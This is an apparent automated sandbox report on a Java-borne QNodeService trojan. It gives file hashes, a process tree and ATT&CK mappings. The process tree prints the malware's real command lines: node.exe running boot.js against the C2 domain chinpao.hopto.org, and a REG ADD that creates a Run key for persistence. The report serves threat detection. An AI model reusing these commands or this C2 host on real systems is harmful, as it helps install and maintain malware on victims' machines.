qnodeservice | 846a118d19c8f3d72b77fd81af21a17f0b006f1a86eae66b6ef9b43f4be70e12

General

Target

AWB20201012.jar
Size

183KB
MD5

aa3320b8e3e59a930e952619b4f0b0ed
SHA1

100a79f58f7402410d87c399c85765d0d26e365a
SHA256

846a118d19c8f3d72b77fd81af21a17f0b006f1a86eae66b6ef9b43f4be70e12
SHA512

1c9091e9c30f9698057858a2309822b41b8cd153b0c14cf9981a1ab0b104c71cafe7743670e781c8e9f8bd20bf5f577d200b94e6785620688f9c4129495e57c2

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

904 node.exe
644 node.exe
2608 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\7aed7602-3923-4da3-bc68-f2e2ce2a3a34 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 wtfismyip.com
16 wtfismyip.com

flow	ioc
15	wtfismyip.com
16	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
904	node.exe
904	node.exe
904	node.exe
904	node.exe
644	node.exe
644	node.exe
644	node.exe
644	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 2920 wrote to memory of 2380	2920	java.exe	javaw.exe
PID 2920 wrote to memory of 2380	2920	java.exe	javaw.exe
PID 2380 wrote to memory of 904	2380	javaw.exe	node.exe
PID 2380 wrote to memory of 904	2380	javaw.exe	node.exe
PID 904 wrote to memory of 644	904	node.exe	node.exe
PID 904 wrote to memory of 644	904	node.exe	node.exe
PID 644 wrote to memory of 2608	644	node.exe	node.exe
PID 644 wrote to memory of 2608	644	node.exe	node.exe
PID 2608 wrote to memory of 1700	2608	node.exe	cmd.exe
PID 2608 wrote to memory of 1700	2608	node.exe	cmd.exe
PID 1700 wrote to memory of 3940	1700	cmd.exe	reg.exe
PID 1700 wrote to memory of 3940	1700	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\AWB20201012.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\91eba624.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain chinpao.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_MLgw1o\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:644
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_MLgw1o\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2608
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7aed7602-3923-4da3-bc68-f2e2ce2a3a34" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1700
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7aed7602-3923-4da3-bc68-f2e2ce2a3a34" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\91eba624.tmp

MD5
aa3320b8e3e59a930e952619b4f0b0ed

SHA1
100a79f58f7402410d87c399c85765d0d26e365a

SHA256
846a118d19c8f3d72b77fd81af21a17f0b006f1a86eae66b6ef9b43f4be70e12

SHA512
1c9091e9c30f9698057858a2309822b41b8cd153b0c14cf9981a1ab0b104c71cafe7743670e781c8e9f8bd20bf5f577d200b94e6785620688f9c4129495e57c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_MLgw1o\boot.js

MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/644-170-0x0000000000000000-mapping.dmp

Download
memory/644-172-0x0000033254E80000-0x0000033254E81000-memory.dmp

Filesize
4KB

Download
memory/904-169-0x000002C873740000-0x000002C873741000-memory.dmp

Filesize
4KB

Download
memory/904-166-0x0000000000000000-mapping.dmp

Download
memory/1700-177-0x0000000000000000-mapping.dmp

Download
memory/2380-49-0x0000000000000000-mapping.dmp

Download
memory/2608-174-0x0000000000000000-mapping.dmp

Download
memory/2608-176-0x00000024C2400000-0x00000024C2401000-memory.dmp

Filesize
4KB

Download
memory/3940-178-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads